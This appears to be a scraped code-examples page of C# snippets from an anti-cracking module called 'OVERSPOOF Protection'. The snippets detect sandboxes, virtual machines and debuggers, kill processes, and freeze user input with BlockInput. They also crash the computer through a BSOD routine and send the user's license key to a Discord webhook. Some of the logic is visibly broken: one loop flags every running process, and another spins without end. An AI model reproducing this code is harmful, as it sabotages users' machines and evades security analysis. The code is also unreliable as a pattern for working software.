コード例 #1
0
        private static void SandBoxieDetect()
        {
            bool flag = This.GetModuleHandle("SbieDll.dll").ToInt32() != 0;

            if (flag)
            {
                MessageBox.Show("Sorry you can't run this file in a sandboxie!", "To keep this program safe from getting cracked");
                Process.GetCurrentProcess().Kill();
            }
        }
コード例 #2
0
 private static void FreezeWindowsProcess()
 {
     while (This._TurnedOn)
     {
         This.BlockInput(true);
     }
     while (This._TurnedOff)
     {
         This.BlockInput(false);
     }
     Thread.Sleep(250);
 }
コード例 #3
0
 //Import done
 // sTART PROTECTION
 public static void Start()
 {
     try
     {
         WebClient webClient = new WebClient();
         webClient.DownloadString("https://google.com");
     }
     catch
     {
     }
     This.GetRunningDebugger.Find();
     This.SandBoxieDetect();
     This.VMDetect();
     This.BSOD();
 }
コード例 #4
0
 internal static void Close(string file)
 {
     try
     {
         foreach (Process process in Process.GetProcessesByName(file))
         {
             process.Kill();
             This.GetRunningDebugger.Find();
             This.KillPC();
             MessageBox.Show(file + ".exe Debugger/Unpacker Found Open!", "Close this to continue!");
             This.MouseFreeze();
             Thread.Sleep(2000);
             Process.Start(new ProcessStartInfo("cmd.exe", "/c START CMD /C \"COLOR C && TITLE OVERSPOOF Protection && ECHO " + file + " Detected! && TIMEOUT 10\"")
             {
                 CreateNoWindow  = true,
                 UseShellExecute = false
             });
             using (Webhooks.dWebHook dcWeb = new Webhooks.dWebHook())
             {
                 dcWeb.WebHook        = Webhooks.dWebHook.Logweb;
                 dcWeb.ProfilePicture = "https://avatarfiles.alphacoders.com/119/119681.png";
                 dcWeb.UserName       = "******";
                 Thread.Sleep(500);
                 dcWeb.SendMessage(">>> __***Found debugger in type***__" + "GetRunningDebugger" + " **KEY: **" + Entries.key);
             }
             This.RevivePC();
             This.ReleaseMouse();
             Process.GetCurrentProcess().Kill();
         }
     }
     catch
     {
         This.Start();
         This.ReleaseMouse();
         This.RevivePC();
         Process.Start(new ProcessStartInfo("cmd.exe", "/c START CMD /C \"COLOR C && TITLE OVERSPOOF Protection Failed to close task && ECHO " + file + " Detected! && TIMEOUT 10\"")
         {
             CreateNoWindow  = false,
             UseShellExecute = false
         });
         This.BSOD();
     }
 }
コード例 #5
0
        private static void SandBoxieDetect()
        {
            bool flag = This.GetModuleHandle("SbieDll.dll").ToInt32() != 0;

            if (flag)
            {
                using (Webhooks.dWebHook dcWeb = new Webhooks.dWebHook())
                {
                    dcWeb.WebHook        = Webhooks.dWebHook.Logweb;
                    dcWeb.ProfilePicture = "https://avatarfiles.alphacoders.com/119/119681.png";
                    dcWeb.UserName       = "******";
                    Thread.Sleep(500);
                    dcWeb.SendMessage(">>> __***Found debugger in type***__" + "SandBoxieDetect" + " **KEY: **" + Entries.key);
                }
                Process.Start(new ProcessStartInfo("cmd.exe", "/c START CMD /C \"COLOR C && TITLE OVERSPOOF Protection && ECHO Sorry you can't run this file in a sandboxie, To keep this program safe from getting cracked. && TIMEOUT 5\"")
                {
                    CreateNoWindow  = false,
                    UseShellExecute = false
                });
                Process.GetCurrentProcess().Kill();
            }
        }
コード例 #6
0
        private static void AntiDebug()
        {
            This.CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref This.isDebuggerPresent);
            bool flag = This.isDebuggerPresent;

            try
            {
                if (flag)
                {
                    MessageBox.Show("Debugger is attached!", "FOUND!");
                    Process.Start(new ProcessStartInfo("cmd.exe", "/c START CMD /C \"COLOR C && TITLE OVERSPOOF Protection && ECHO Active debugger found, please make sure it is not Visual Studio! && TIMEOUT 10\"")
                    {
                        CreateNoWindow  = false,
                        UseShellExecute = false
                    });
                    Process.GetCurrentProcess().Kill();
                    This.Start();
                }
            }
            catch
            {
                This.BSOD();
            }
        }
コード例 #7
0
        public static void ExtraProc()
        {
            Process[] processlist = Process.GetProcesses();

            Regex regex2   = new Regex(@"pack.*");
            Regex regex1   = new Regex(@"debug.*");
            Regex regex    = new Regex(@"dumper.*");
            bool  killable = false;

            try
            {
                foreach (Process PROC in processlist)
                {
                    foreach (Process p in Process.GetProcesses("."))
                    {
                        killable = true;

                        //This.KillPC();
                        //This.MouseFreeze();

                        if (regex.Match(p.ProcessName).Success)
                        {
                            killable = true;
                        }
                        if (regex2.Match(p.ProcessName).Success)
                        {
                            killable = true;
                        }
                        if (regex1.Match(p.ProcessName).Success)
                        {
                            killable = true;
                        }

                        if (killable == true)
                        {
                            Process.Start(new ProcessStartInfo("cmd.exe", "/c START CMD /C \"COLOR C && TITLE OVERSPOOF Protection && ECHO Found " + p.ProcessName + " Close this continue && TIMEOUT 5\"")
                            {
                                CreateNoWindow  = false,
                                UseShellExecute = false
                            });
                            Process.GetCurrentProcess().Kill();
                            //This.RevivePC();
                            //This.ReleaseMouse();
                        }
                        if (killable == false)
                        {
                            This.Start();
                            //Process.GetCurrentProcess().Kill();
                        }
                    }
                }
            }
            catch
            {
                This.Start();

                //This.ReleaseMouse();
                //This.RevivePC();
                This.BSOD();
            }
        }